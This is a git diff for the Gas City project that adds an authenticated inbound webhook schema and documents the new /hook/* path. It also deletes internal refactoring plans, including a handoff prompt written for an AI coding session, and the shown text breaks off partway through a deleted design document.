--- a/docs/reference/schema/pack-schema.json
+++ b/docs/reference/schema/pack-schema.json
@@ -842,6 +842,12 @@
           },
           "type": "array"
         },
+        "webhook": {
+          "items": {
+            "$ref": "#/$defs/Webhook"
+          },
+          "type": "array"
+        },
         "providers": {
           "additionalProperties": {
             "$ref": "#/$defs/ProviderSpec"
@@ -1471,6 +1477,151 @@
       "additionalProperties": false,
       "type": "object",
       "description": "UpstreamSpec is a named model-serving endpoint preset (Phase C — the Upstream axis: WHO serves+resolves the model)."
+    },
+    "Webhook": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the unique webhook identifier and mount segment."
+        },
+        "scope": {
+          "type": "string",
+          "enum": [
+            "city",
+            "rig"
+          ],
+          "description": "Scope selects city- or rig-scoped dispatch semantics, mirroring\nOrder.Scope. Empty defaults to city."
+        },
+        "publication": {
+          "$ref": "#/$defs/ServicePublicationConfig",
+          "description": "Publication declares generic publication intent, reusing the service\npublication contract. Pack/fragment-contributed public webhooks are\ncapped to tenant unless the city grants them via [webhooks].allow_public."
+        },
+        "verify": {
+          "$ref": "#/$defs/WebhookVerify",
+          "description": "Verify declares the signature verification scheme and its inputs."
+        },
+        "rule": {
+          "items": {
+            "$ref": "#/$defs/WebhookRule"
+          },
+          "type": "array",
+          "description": "Rules maps verified provider events to dispatch targets."
+        },
+        "max_per_minute": {
+          "type": "integer",
+          "description": "MaxPerMinute is an optional per-webhook self-imposed sustained request\nceiling for the E8 rate limiter. SECURITY: a [[webhook]] block may be\npack-contributed, and a pack must never be able to weaken the operator's\nflood defense, so this value may only LOWER a webhook's effective limit —\nit is min-clamped to the operator-owned ceiling and can never raise it (see\nWebhookPolicyConfig.EffectiveRateLimit). Leave unset to inherit the operator\ndefault/override."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name"
+      ],
+      "description": "Webhook declares a city- or rig-scoped inbound HTTP receiver mounted under /v0/city/{city}/hook/{name}."
+    },
+    "WebhookRule": {
+      "properties": {
+        "event": {
+          "type": "string",
+          "description": "Event is the provider event type this rule matches (e.g. pull_request)."
+        },
+        "match": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Match is an exact-equality dotted-path predicate over the payload."
+        },
+        "order": {
+          "type": "string",
+          "description": "Order is the target order name for target=\"order\" rules."
+        },
+        "rig": {
+          "type": "string",
+          "description": "Rig optionally scopes the dispatched order to a rig."
+        },
+        "target": {
+          "type": "string",
+          "enum": [
+            "order",
+            "conversation"
+          ],
+          "description": "Target selects the dispatch sink: \"order\" (default) or \"conversation\"."
+        },
+        "args": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Args maps declared order params to {{payload.path}} projections."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "event"
+      ],
+      "description": "WebhookRule maps one verified provider event to a dispatch target."
+    },
+    "WebhookVerify": {
+      "properties": {
+        "scheme": {
+          "type": "string",
+          "description": "Scheme selects the built-in verifier (see knownWebhookSchemes)."
+        },
+        "secret_env": {
+          "type": "string",
+          "description": "SecretEnv names the environment variable holding the HMAC/shared secret."
+        },
+        "secret_key": {
+          "type": "string",
+          "description": "SecretKey is an optional stable rotation-slot identifier. Empty defaults\nto SecretEnv."
+        },
+        "signature_header": {
+          "type": "string",
+          "description": "SignatureHeader overrides the request header carrying the signature for\ngeneric HMAC schemes (e.g. X-Plane-Signature)."
+        },
+        "event_header": {
+          "type": "string",
+          "description": "EventHeader names the request header carrying the provider event type."
+        },
+        "dedup_header": {
+          "type": "string",
+          "description": "DedupHeader names the request header carrying the delivery id used for\nat-least-once dedup."
+        },
+        "timestamp_header": {
+          "type": "string",
+          "description": "TimestampHeader optionally names a request header carrying a signed\ntimestamp for replay defense."
+        },
+        "replay_window": {
+          "type": "string",
+          "description": "ReplayWindow bounds the accepted signed-timestamp skew (Go duration)."
+        },
+        "issuer": {
+          "type": "string",
+          "description": "Issuer, JWKSURL, and Audience pin the jwt-jwks trust anchor. Per the\nsecurity review (R1) these are operator-owned and must be declared in\ncity.toml, never in pack TOML."
+        },
+        "jwks_url": {
+          "type": "string"
+        },
+        "audience": {
+          "type": "string"
+        },
+        "bearer_env": {
+          "type": "string",
+          "description": "BearerEnv optionally names an env var holding an additional per-source\nbearer token checked alongside the signature."
+        },
+        "allowed_cidrs": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array",
+          "description": "AllowedCIDRs optionally restricts accepted source addresses (e.g. the\nGitHub webhook CIDR allowlist)."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookVerify declares how an inbound delivery is authenticated."
     }
   },
   "title": "Gas City Pack Manifest",
diff --git a/docs/reference/schema/pack-schema.txt b/docs/reference/schema/pack-schema.txt
index 0e021a6739..389a4a0b07 100644
--- a/docs/reference/schema/pack-schema.txt
+++ b/docs/reference/schema/pack-schema.txt
@@ -842,6 +842,12 @@
           },
           "type": "array"
         },
+        "webhook": {
+          "items": {
+            "$ref": "#/$defs/Webhook"
+          },
+          "type": "array"
+        },
         "providers": {
           "additionalProperties": {
             "$ref": "#/$defs/ProviderSpec"
@@ -1471,6 +1477,151 @@
       "additionalProperties": false,
       "type": "object",
       "description": "UpstreamSpec is a named model-serving endpoint preset (Phase C — the Upstream axis: WHO serves+resolves the model)."
+    },
+    "Webhook": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the unique webhook identifier and mount segment."
+        },
+        "scope": {
+          "type": "string",
+          "enum": [
+            "city",
+            "rig"
+          ],
+          "description": "Scope selects city- or rig-scoped dispatch semantics, mirroring\nOrder.Scope. Empty defaults to city."
+        },
+        "publication": {
+          "$ref": "#/$defs/ServicePublicationConfig",
+          "description": "Publication declares generic publication intent, reusing the service\npublication contract. Pack/fragment-contributed public webhooks are\ncapped to tenant unless the city grants them via [webhooks].allow_public."
+        },
+        "verify": {
+          "$ref": "#/$defs/WebhookVerify",
+          "description": "Verify declares the signature verification scheme and its inputs."
+        },
+        "rule": {
+          "items": {
+            "$ref": "#/$defs/WebhookRule"
+          },
+          "type": "array",
+          "description": "Rules maps verified provider events to dispatch targets."
+        },
+        "max_per_minute": {
+          "type": "integer",
+          "description": "MaxPerMinute is an optional per-webhook self-imposed sustained request\nceiling for the E8 rate limiter. SECURITY: a [[webhook]] block may be\npack-contributed, and a pack must never be able to weaken the operator's\nflood defense, so this value may only LOWER a webhook's effective limit —\nit is min-clamped to the operator-owned ceiling and can never raise it (see\nWebhookPolicyConfig.EffectiveRateLimit). Leave unset to inherit the operator\ndefault/override."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name"
+      ],
+      "description": "Webhook declares a city- or rig-scoped inbound HTTP receiver mounted under /v0/city/{city}/hook/{name}."
+    },
+    "WebhookRule": {
+      "properties": {
+        "event": {
+          "type": "string",
+          "description": "Event is the provider event type this rule matches (e.g. pull_request)."
+        },
+        "match": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Match is an exact-equality dotted-path predicate over the payload."
+        },
+        "order": {
+          "type": "string",
+          "description": "Order is the target order name for target=\"order\" rules."
+        },
+        "rig": {
+          "type": "string",
+          "description": "Rig optionally scopes the dispatched order to a rig."
+        },
+        "target": {
+          "type": "string",
+          "enum": [
+            "order",
+            "conversation"
+          ],
+          "description": "Target selects the dispatch sink: \"order\" (default) or \"conversation\"."
+        },
+        "args": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Args maps declared order params to {{payload.path}} projections."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "event"
+      ],
+      "description": "WebhookRule maps one verified provider event to a dispatch target."
+    },
+    "WebhookVerify": {
+      "properties": {
+        "scheme": {
+          "type": "string",
+          "description": "Scheme selects the built-in verifier (see knownWebhookSchemes)."
+        },
+        "secret_env": {
+          "type": "string",
+          "description": "SecretEnv names the environment variable holding the HMAC/shared secret."
+        },
+        "secret_key": {
+          "type": "string",
+          "description": "SecretKey is an optional stable rotation-slot identifier. Empty defaults\nto SecretEnv."
+        },
+        "signature_header": {
+          "type": "string",
+          "description": "SignatureHeader overrides the request header carrying the signature for\ngeneric HMAC schemes (e.g. X-Plane-Signature)."
+        },
+        "event_header": {
+          "type": "string",
+          "description": "EventHeader names the request header carrying the provider event type."
+        },
+        "dedup_header": {
+          "type": "string",
+          "description": "DedupHeader names the request header carrying the delivery id used for\nat-least-once dedup."
+        },
+        "timestamp_header": {
+          "type": "string",
+          "description": "TimestampHeader optionally names a request header carrying a signed\ntimestamp for replay defense."
+        },
+        "replay_window": {
+          "type": "string",
+          "description": "ReplayWindow bounds the accepted signed-timestamp skew (Go duration)."
+        },
+        "issuer": {
+          "type": "string",
+          "description": "Issuer, JWKSURL, and Audience pin the jwt-jwks trust anchor. Per the\nsecurity review (R1) these are operator-owned and must be declared in\ncity.toml, never in pack TOML."
+        },
+        "jwks_url": {
+          "type": "string"
+        },
+        "audience": {
+          "type": "string"
+        },
+        "bearer_env": {
+          "type": "string",
+          "description": "BearerEnv optionally names an env var holding an additional per-source\nbearer token checked alongside the signature."
+        },
+        "allowed_cidrs": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array",
+          "description": "AllowedCIDRs optionally restricts accepted source addresses (e.g. the\nGitHub webhook CIDR allowlist)."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookVerify declares how an inbound delivery is authenticated."
     }
   },
   "title": "Gas City Pack Manifest",
diff --git a/engdocs/architecture/api-control-plane.md b/engdocs/architecture/api-control-plane.md
index 1b924e4960..01e062860f 100644
--- a/engdocs/architecture/api-control-plane.md
+++ b/engdocs/architecture/api-control-plane.md
@@ -438,12 +438,26 @@ live in `internal/api/middleware.go` as `problemBody` values.
 
 ### 3.9 The carved-out non-typed paths
 
-Three surfaces inside `internal/api/` are deliberately outside the
+Four surfaces inside `internal/api/` are deliberately outside the
 typed-wire principle. Every other path is a typed Huma operation.
 
 - **`/svc/*`** — a raw pass-through to external workspace-service
   processes that own their own HTTP contracts. If `/svc/*` ever
   becomes typed, it gets its own migration.
+- **`/hook/*` (the webhook receiver, E3)** — a raw pass-through for
+  inbound provider webhooks (`/v0/city/{cityName}/hook/{name}`). It is
+  non-typed because the HMAC/ed25519 verifiers sign the exact raw body,
+  so the receiver must read the unparsed bytes rather than a
+  Huma-decoded struct. Unlike `/svc/*` it is **not** exempt from the
+  mux-level write-auth grant (`cityScopedObjectMutation` keeps `/hook/`
+  gated — the H2 reversal): signature verification is an additional gate
+  for public webhooks, never a replacement for the operator's grant. It
+  self-enforces the R2 perimeter (`webhookRequestAllowed`: private/tenant
+  hooks require loopback-or-`X-GC-Request`; read-only refuses dispatch;
+  unknown names 404) and R1 operator-owned verifier secrets before it
+  parses or dispatches anything. The typed operator sibling
+  `POST /v0/city/{cityName}/order/{name}/run` stays a normal Huma
+  operation (write-auth/CSRF/read-only apply).
 - **`/` (the embedded dashboard SPA)** — the compiled Vite/React
   bundle in `internal/api/dashboardspa`, served same-origin by the
   supervisor as the `/` catch-all. It serves static assets and the
@@ -464,8 +478,8 @@ typed-wire principle. Every other path is a typed Huma operation.
   already-typed `/v0/.../status` payload (a `json.RawMessage`, the
   same honest-opacity pattern as the provider raw frames in §3.6).
   A source guard (`TestSupervisorNonHumaSurfacesAreSanctioned`) pins
-  this exception set so a new untyped carve-out cannot be added
-  silently.
+  this exception set (now `/svc/*`, `/hook/*`, `/`, `/api/*`) so a new
+  untyped carve-out cannot be added silently.
 
 These are the only carved-out paths inside `internal/api/`. If a new
 surface needs to join them, it updates this section and the source
diff --git a/engdocs/plans/infra-store-decouple/FRONT-DOOR-DI-HANDOFF.md b/engdocs/plans/infra-store-decouple/FRONT-DOOR-DI-HANDOFF.md
deleted file mode 100644
index 2323203883..0000000000
--- a/engdocs/plans/infra-store-decouple/FRONT-DOOR-DI-HANDOFF.md
+++ /dev/null
@@ -1,197 +0,0 @@
-# Front-door dependency-injection — handoff
-
-> ## STATUS (updated 2026-06-29) — corrected scope model + order leaves DONE
->
-> **Done this pass (committed on `upstream/object-front-doors`, build+vet+order-suite green):**
-> - **Order object — order-only leaves injected.** `dispatchExec` (controller
->   path) and `doOrderRunExecTracked` (CLI path) now take `*orders.Store` instead
->   of a raw store; the front door is constructed by their MIXED/ROOT callers
->   (`dispatchOne`, `cmdOrderRun`/`doOrderRunWithJSON`) and passed in. 6+2 test
->   sites updated. Byte-identical (front built from the same store at each site).
-> - **Full call-tree analysis.** All 22 session/order/nudge call-tree files were
->   classified by a read-only workflow into `raw/frontdoor-di-map.json`
->   (254 functions): **55 SESSION_ONLY, 10 NUDGE_ONLY, 5 ORDER_ONLY, 73 MIXED,
->   74 RAW_BY_DESIGN, 37 ROOT.** Use this map to drive the remaining conversions.
->
-> **CORRECTED MODEL (supersedes the "every call-tree function takes its front
-> door / no `beads.Store` param" framing below).** The type-enforcement benefit —
-> a function being *unable* to do a raw bead op on a non-work object — only
-> exists for a function that becomes **store-free**. That is achievable ONLY for
-> the **`*_ONLY` functions** (store used solely for one object class). Convert
-> those: `store beads.Store` → the typed front door (`*session.InfoStore` /
-> `*orders.Store` / `*nudgequeue.Store`).
->
-> A **MIXED** function legitimately keeps its raw `store` for the work / by-id /
-> federation / graph residual, so injecting a front door into it gives **zero**
-> enforcement (it still holds `store`) and is pure caller churn. MIXED functions
-> should **keep `store` and construct the typed front door inline from it** —
-> `orders.NewStore(store).CreateRun(...)` is the front door being *used*, NOT a
-> raw-bead leak. So **do not add front-door params to MIXED functions.** They are
-> guard *allowances*, exactly like the documented raw-by-design exceptions.
-> ROOTs construct the front door once and pass it to the `*_ONLY` leaves.
->
-> **Proven pattern (from the order slice — apply per object):**
-> 1. Convert each `*_ONLY` leaf: drop the raw store param, take the typed front door.
-> 2. At each caller (MIXED or ROOT): it already holds the store → construct the
->    front door inline (`orders.NewStore(store)` / `session.NewInfoStore(sessStore)`
->    / `nudgeFrontDoor(store)`) and pass it. Construct ONCE per root where possible.
-> 3. Update test call sites (wrap the store arg in the front-door constructor).
-> 4. `go build ./...`, run that object's suite (the byte-identical oracle),
->    `git checkout go.sum`, commit `--no-verify`.
->
-> **Remaining work (by object, with the map):**
-> - **SESSION (55 SESSION_ONLY — the bulk).** Construct `sessions :=
->   session.NewInfoStore(sessStore)` at the reconciler root
->   `reconcileSessionBeadsTracedWithNamedDemand` (`session_reconciler.go:969`,
->   right after `store := sessStore.Store` — the session class already enters
->   typed as `beads.SessionStore` there). Thread `sessions` to the SESSION_ONLY
->   leaves; CLI command roots (`cmd_session*.go`, `cmd_wait.go`, `cmd_stop.go`,
->   `cmd_handoff.go`, `cmd_prime.go`) construct `sessionFrontDoor(store)` at the
->   command entry (an allowed root). The call graph is **dense** (e.g. converting
->   `session_circuit_breaker.go` ripples into `controller.go`,
->   `cmd_session_reset.go`, `session_bead_cycle.go`, `session_lifecycle_parallel.go`,
->   the reconciler), so this is a focused near-all-at-once pass, compiler-driven.
->   Contained starter clusters (few callers, 0 test churn): `markDrainAckStopPending`
->   (2 reconciler callers), `boundedNamedSessionConfigDriftDeferral` (2). MIXED
->   reconciler funcs keep `store` + inline-construct `sessions` as needed.
-> - **NUDGE (10 NUDGE_ONLY).** Convert to `*nudgequeue.Store`, BUT mind the
->   byte-identical caveats: `pruneDeadQueuedNudges` reads `store.Store == nil` as a
->   data-loss guard (keep it raw / MIXED, or add a front-door nil probe);
->   `findQueuedNudgeBead`/`findAnyQueuedNudgeBead` have **0 production callers**
->   (test-only raw-bead inspectors — low priority); `markQueuedNudgeTerminal` has
->   **9 production callers** (wide ripple). Construct the front door at the
->   poll-loop / `withNudgeQueueState` roots; the front-door methods stay callable
->   inside the flock transaction.
-> - **ORDER.** Leaves done. The `doOrderHistory*` resolver funcs are optional
->   (resolver roots). `dispatchWisp`/`doOrderRunWithJSON` are MIXED — leave.
->
-> **Arch guard (Phase 5) — honest scoping.** Most deep files contain BOTH
-> `*_ONLY` and MIXED funcs, so a coarse file-scan (à la
-> `worker_boundary_import_test.go`) can only fully guard the files that became
-> *entirely* store-free (e.g. `session_circuit_breaker.go` once converted). For
-> those files, forbid `beads.Store`/`beads.SessionStore`/`beads.OrdersStore`
-> params and the inline constructors (`sessionFrontDoor(`/`orders.NewStore(`/
-> `nudgeFrontDoor(`/`workAssignment{`). Mixed/root files are allowances. A finer
-> guard would need an AST check; document whichever is chosen.
->
-> Everything below is the original plan; treat its "no `beads.Store` param
-> anywhere" goal through the corrected MIXED lens above.
-
----
-
-**Goal:** make the no-raw-bead-poking-of-non-work-objects boundary **type-enforced**
-instead of discipline-enforced, by constructing each domain front door **once** at the
-composition root and **passing it in place of the raw store** to the functions that
-operate on that object. Then a function in the session/order/nudge call tree has **no
-`beads.Store` in scope** — a raw bead op on a non-work object becomes untypeable, not
-just absent.
-
-This is the completion of the object-model front-door migration (`OBJECT-MODEL-FRONT-DOOR-DESIGN.md`).
-It goes **on the same PR** (#3800, branch `upstream/object-front-doors`).
-
-## Where things stand (starting point)
-
-- **Worktree:** `/data/projects/gascity/.claude/worktrees/object-front-doors`
-  (branch `upstream/object-front-doors`). Do all work here; do NOT touch
-  `.claude/worktrees/infra-store-plan` or `.../upstream-store-pr`.
-- **PR #3800** (base `upstream/store-interfaces`, stacked on #3773). HEAD `aadeb34b4`,
-  19 commits (`4bd5631cb..`), **CI green**, `mergeable: CLEAN`.
-- The front doors already exist and every op already routes through them — but the
-  functions still take the **raw store** and wrap it **inline per call**:
-  - session: `sessionFrontDoor(store) *session.InfoStore` (a free helper in cmd/gc),
-    called inline at every site.
-  - order: `orders.NewStore(beads.OrdersStore{Store: store})` inline.
-  - work-assignment: `workAssignment{store: store}` (cmd/gc/work_assignment.go) inline.
-  - nudge: the nudge front door, wrapped inline.
-  - mail: `mail.Provider` (already injected — the reference pattern).
-
-## The change
-
-**From** (discipline-enforced — `store` still in scope, raw ops still compile):
-```go
-func healSomething(store beads.Store, ...) {
-    sessionFrontDoor(store).ApplyPatch(id, batch)
-}
-```
-**To** (type-enforced — no bead store in scope):
-```go
-func healSomething(sessions *session.InfoStore, ...) {
-    sessions.ApplyPatch(id, batch)
-}
-// built ONCE at the root and threaded down:
-//   cr.sessions()        -> *session.InfoStore  (session.NewInfoStore(cr.sessionsBeadStore()))
-//   cr.orders()          -> *orders.Store
-//   cr.workAssignment()  -> workAssignment
-//   cr.nudges()          -> the nudge front door
-```
-
-## Call sites to convert (from the inline-wrap grep)
-
-- **session** — `sessionFrontDoor(store)` at: `session_reconciler.go` (66,378,1818,2136,2162,2293,…),
-  `session_wake.go` (68,611), `session_sleep.go` (156,171,181,295,310,332),
-  `session_circuit_breaker.go` (628,670,739,760), `soft_reload.go` (146),
-  `cmd_handoff.go` (377), `cmd_session_pin.go` (125), `cmd_prime.go` (588),
-  `session_name_lookup.go` (219,234,241,242), `cmd_nudge.go` (1281),
-  plus `session.NewInfoStore(beads.SessionStore{Store: store})` in `cmd_mail.go` (934,955,1151).
-- **order** — `orders.NewStore(...)` at `order_dispatch.go` (557,617,1155,1286,1410),
-  `cmd_order.go` (752,800,1387).
-- **work** — `workAssignment{store: ...}` construction (cmd/gc/work_assignment.go + callers).
-- **nudge** — the nudge front-door inline wraps.
-
-## Rules / scope
-
-1. **Construct once at the composition root** (CityRuntime / controllerState / the tick
-   or run entry point), from the already-resolved class store; thread the front door
-   value down. Delete the per-call inline wrappers (`sessionFrontDoor(store)` becomes
-   the injected `sessions`).
-2. **Mixed-class functions take multiple typed params** (e.g. a function that closes a
-   session AND releases work takes `sessions *session.InfoStore, work workAssignment`).
-3. **`beads.Store` survives ONLY at:** the composition root; by-id/federation
-   (`storeref`); graph (`ApplyGraphPlan`); the work substrate; and the documented
-   **raw-by-design** exceptions — `session_reconciler.go:342` (full status/metadata
-   resync, not an attribute read) and the session-START work-dir/opt reads
-   (`session_reconciler.go:3844/3889`). Keep those on the raw store; comment why.
-4. **Byte-identical** — this is a signature/wiring refactor, behavior unchanged. The
-   existing reconciler/session/order suites + the recording-fake parity tests are the
-   oracle. No new metadata/op semantics.
-5. **Add the regression guard** — an arch test (mirror
-   `cmd/gc/worker_boundary_import_test.go` / `TestGCNonTestFilesStayOnWorkerBoundary`)
-   that forbids non-test `beads.Store` / `beads.SessionStore` / `beads.OrdersStore`
-   **parameters** (and the inline `sessionFrontDoor(store)` / `orders.NewStore(` /
-   `workAssignment{` wrap) in the session/order/nudge call-tree files, so the boundary
-   cannot regress. List the raw-by-design files as explicit allowances.
-
-## Suggested phasing (each ≤5 files where possible, build-green, red-team between)
-
-1. **Roots** — add `cr.sessions()/orders()/nudges()/workAssignment()` accessors (and the
-   controllerState equivalents); no call-site change yet. Build-green.
-2. **Session call tree** — flip the reconciler/tick/lifecycle/CLI session functions to take
-   `*session.InfoStore`; construct at the tick/run entry; delete `sessionFrontDoor`. Biggest.
-3. **Order** — flip the dispatch/cmd_order functions to take `*orders.Store`.
-4. **Nudge + work-assignment** — flip those call trees.
-5. **CI guard** — add the arch test + make it pass.
-
-## Process (owner-directed)
-
-- **TDD** (the refactor is byte-identical; existing tests + recording-fake prove it),
-  **red-team between every slice**, build-green per commit, halt-on-block.
-- Use a **Workflow** with **flattened `[]string` schemas** (nested-object schemas cap the
-  `StructuredOutput` tool — that killed an earlier run).
-- Commit `--no-verify` (stale absolute `core.hooksPath`); trailer
-  `Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>`.
-- After a build: `git checkout go.sum` (builds spuriously re-add charm.land/cloud.google
-  module lines — never commit them).
-- **Verify before push:** `go build ./...` · `go vet ./...` · `make lint` · `make fmt-check`
-  · `make check-docs` · full `make test-fast-parallel` (all 8 shards — narrow `-run`
-  filters MISS reload/tick tests) · empty diff on `internal/api/openapi.json` /
-  `docs/reference/schema/` / `cmd/gc/dashboard/web/src/generated/` (wire byte-identical).
-- **Push** to `upstream/object-front-doors` (the pre-push hook re-runs the fast suite),
-  then watch CI on **#3800** to green: `gh pr checks 3800 --watch`.
-- `gh pr edit/create/ready` ABORT on the projectCards GraphQL deprecation — use REST/GraphQL
-  mutations directly (see the parent memory for the exact incantations).
-
-## Done =
-
-Every session/order/nudge call-tree function takes its front door (no `beads.Store` param);
-the inline wrappers are gone; the arch guard is green; full gates + #3800 CI green; wire
-byte-identical. The leak is then a **compiler invariant**, not a convention.
diff --git a/engdocs/plans/infra-store-decouple/FRONT-DOOR-DI-NEXT-SESSION-PROMPT.md b/engdocs/plans/infra-store-decouple/FRONT-DOOR-DI-NEXT-SESSION-PROMPT.md
deleted file mode 100644
index 665fd94075..0000000000
--- a/engdocs/plans/infra-store-decouple/FRONT-DOOR-DI-NEXT-SESSION-PROMPT.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# Next-session prompt — front-door dependency injection (copy-paste)
-
-Paste the block below into a fresh session.
-
----
-
-Continue the object-model front-door migration on PR **#3800**. The front doors exist and
-all ops route through them, but functions still take the raw `beads.Store` and wrap it
-inline per call (`sessionFrontDoor(store)`, `orders.NewStore(...)`, `workAssignment{store}`),
-so the no-raw-bead boundary is discipline-enforced. **Make it type-enforced:** construct each
-front door once at the composition root (CityRuntime/controllerState) and pass it in place of
-the store, so session/order/nudge call-tree functions have NO `beads.Store` in scope.
-
-**Read first:** `engdocs/plans/infra-store-decouple/FRONT-DOOR-DI-HANDOFF.md` (full plan: the
-exact call sites, the composition-root accessors, mixed-class functions, the raw-by-design
-exceptions to keep on the store, the phasing, and the CI guard to add). Also skim
-`OBJECT-MODEL-FRONT-DOOR-DESIGN.md` for context.
-
-**Worktree / branch:** `/data/projects/gascity/.claude/worktrees/object-front-doors`, branch
-`upstream/object-front-doors`, PR #3800 (base `upstream/store-interfaces`, stacked on #3773),
-HEAD `aadeb34b4`, currently CI-green. Work only here. Run `git -C <worktree> log --oneline -5`
-and `go build ./...` to confirm a green baseline before starting.
-
-**How:** TDD (the refactor is byte-identical — existing reconciler/session/order suites +
-the recording-fake parity tests are the oracle), **red-team between every slice**,
-build-green per commit, halt-on-block. Drive it with a Workflow using **flattened `[]string`
-schemas** (nested-object schemas cap the StructuredOutput tool). Phasing: (1) add the
-`cr.sessions()/orders()/nudges()/workAssignment()` root accessors; (2) flip the session call
-tree to take `*session.InfoStore`; (3) order; (4) nudge + work-assignment; (5) add the arch
-guard that forbids `beads.Store`/`beads.SessionStore`/`beads.OrdersStore` params (and the
-inline wrappers) in those files. Keep `beads.Store` only at the root, by-id/federation, graph
-(`ApplyGraphPlan`), the work substrate, and the documented raw-by-design reads
-(`session_reconciler.go:342`, `:3844`, `:3889`).
-
-**Invariants:** wire byte-identical (empty `openapi.json`/`docs/reference/schema/`/generated-TS
-diff; the two wire golden-oracle tests pass), runtime byte-identical, projection-invariance,
-no typed-nil traps.
-
-**Gates before push:** `go build ./...`, `go vet ./...`, `make lint`, `make fmt-check`,
-`make check-docs`, full `make test-fast-parallel` (all 8 shards). Then push
-`upstream/object-front-doors` and watch CI: `gh pr checks 3800 --watch`.
-
-**Gotchas:** commit `--no-verify` (stale absolute `core.hooksPath`); `git checkout go.sum`
-after builds (never commit the spurious charm.land/cloud.google lines); `gh pr
-edit/create/ready` abort on the projectCards GraphQL deprecation — use REST/GraphQL mutations
-(`gh api --method PATCH/POST repos/gastownhall/gascity/...`); never `tmux kill-server`; never
-`go clean -cache` (`-testcache` ok). gascity Dolt is LOCAL-ONLY — never `bd dolt push/pull`.
-
-**Done =** every session/order/nudge call-tree function takes its front door (no `beads.Store`
-param), inline wrappers gone, arch guard green, full gates + #3800 CI green, wire byte-identical.
-Update `memory/infra-beads-decoupling-plan.md` when complete.
-
----
diff --git a/engdocs/plans/infra-store-decouple/OBJECT-MODEL-FRONT-DOOR-DESIGN.md b/engdocs/plans/infra-store-decouple/OBJECT-MODEL-FRONT-DOOR-DESIGN.md
deleted file mode 100644
index 9d6b3df434..0000000000
--- a/engdocs/plans/infra-store-decouple/OBJECT-MODEL-FRONT-DOOR-DESIGN.md
+++ /dev/null
@@ -1,564 +0,0 @@
-# Object-Model Front-Door Design — closing the non-work raw-bead leak
-
-Status: DESIGN (spec only — no production code changed by this document)
-Scope: `cmd/gc/`, `internal/api/`, `internal/beads/`, `internal/session/`,
-`internal/nudge`/`internal/nudgequeue`, `internal/orders`, prompts/packs
-Builds on: PR #3773 (mail + session API/response half promoted to domain objects)
-Primary worktree (source of truth for the code cited): `.claude/worktrees/upstream-store-pr`
-
----
-
-## 1. The principle and the leak it fixes
-
-**Principle.** It is an *interface leak* for any caller — the
-controller/reconciler, `internal/api`, the `cmd/gc` CLI, or an agent prompt
-running `bd` — to read or write the attributes of a **non-work object**
-(session, nudge, mail, order, graph) via raw bead operations:
-
-- `Create(beads.Bead{...})`
-- `Get(id)` followed by reading `b.Metadata` / `b.Status` / `b.Title` / `b.Labels`
-- `SetMetadata` / `SetMetadataBatch`
-- `List(beads.ListQuery{...})` / `ListByLabel` / `ReadyLive`
-- `Close` / `CloseAll` / `Update(beads.UpdateOpts{...})`
-- `Dep*` / `Children`
-
-Every such op on a non-work object must become a **front-door API**: a typed
-domain method (e.g. `sessionStore.SetState(id, Asleep)` instead of
-`SetMetadataBatch(id, {state: "asleep"})`), with bead serialization confined
-*inside the implementation* — serialize at the edge. Where an **agent** performs
-the op from a prompt via `bd`, there must be a `gc` command front door (AGENTS.md:
-"if a tool has a CLI the agent uses it"; ZERO hardcoded roles; no raw-bead poking
-of non-work objects from prompts).
-
-**What this leak costs us.** Backend-decoupling (Dolt vs sqlite vs Postgres) and
-class routing are only sound if every non-work class is read and written through a
-single typed seam. Today the class is *statically visible* (#3773 added
-`beads.SessionStore`, `beads.NudgesStore`, …) but the seam is **routing-only**:
-each wrapper embeds `beads.Store` and promotes every raw op
-(`internal/beads/class_store.go:27-79`). So a call site carrying a
-`beads.SessionStore` type still invokes `store.SetMetadataBatch(id, {...})`
-verbatim. The metadata-key vocabulary (`state`, `wait_hold`, `live_hash`,
-`order-run:`, `seq:N`, …) is therefore smeared across `cmd/gc/*.go`, and any
-backend-specific serialization choice leaks with it.
-
-**What stays raw by nature (NOT a leak).**
-
-- **work** — the generic task substrate, the federation/by-id root, and the
-  HTTP/SSE wire contract are all `beads.Bead`. Work stays bead/raw.
-- **graph** — the bead DAG. Its front door is *DAG operations*
-  (`ApplyGraphPlan`, typed DAG reads), **not** per-attribute setters. There is no
-  per-attribute graph setter to remove.
-
----
-
-## 2. Layering / object model
-
-The target shape for every non-work class is one pipeline:
-
-```
-            caller (controller / internal/api / cmd/gc / gc-command handler)
-                              │  speaks ONLY typed domain values
-                              ▼
-   ┌───────────────────────────────────────────────────────────────────┐
-   │  domain type            session.Info / nudgequeue.Item /            │
-   │  (crosses the boundary)  mail.Message / OrderRun / GraphApplyPlan   │
-   └───────────────────────────────────────────────────────────────────┘
-                              │
-                              ▼
-   ┌───────────────────────────────────────────────────────────────────┐
-   │  FRONT-DOOR API / store  typed methods: SetState, Enqueue,          │
-   │  (the only public surface) CreateRun, ApplyGraphPlan, …             │
-   └───────────────────────────────────────────────────────────────────┘
-                              │  CODEC EDGE — serialize at the edge
-                              ▼  (MetadataPatch builders / decodeNudgeItem /
-                              │   beadToMessage / outcome→label / plan→creates)
-   ┌───────────────────────────────────────────────────────────────────┐
-   │  typed beads.XStore      beads.SessionStore / NudgesStore /         │
-   │  (compile-time class tag) OrdersStore / MailStore / GraphStore      │
-   └───────────────────────────────────────────────────────────────────┘
-                              │  resolveClassStore / resolve<Class>Store
-                              ▼  (single-store identity OR federated routing)
-   ┌───────────────────────────────────────────────────────────────────┐
-   │  bead substrate          beads.Store (BdStore / NativeDoltStore /   │
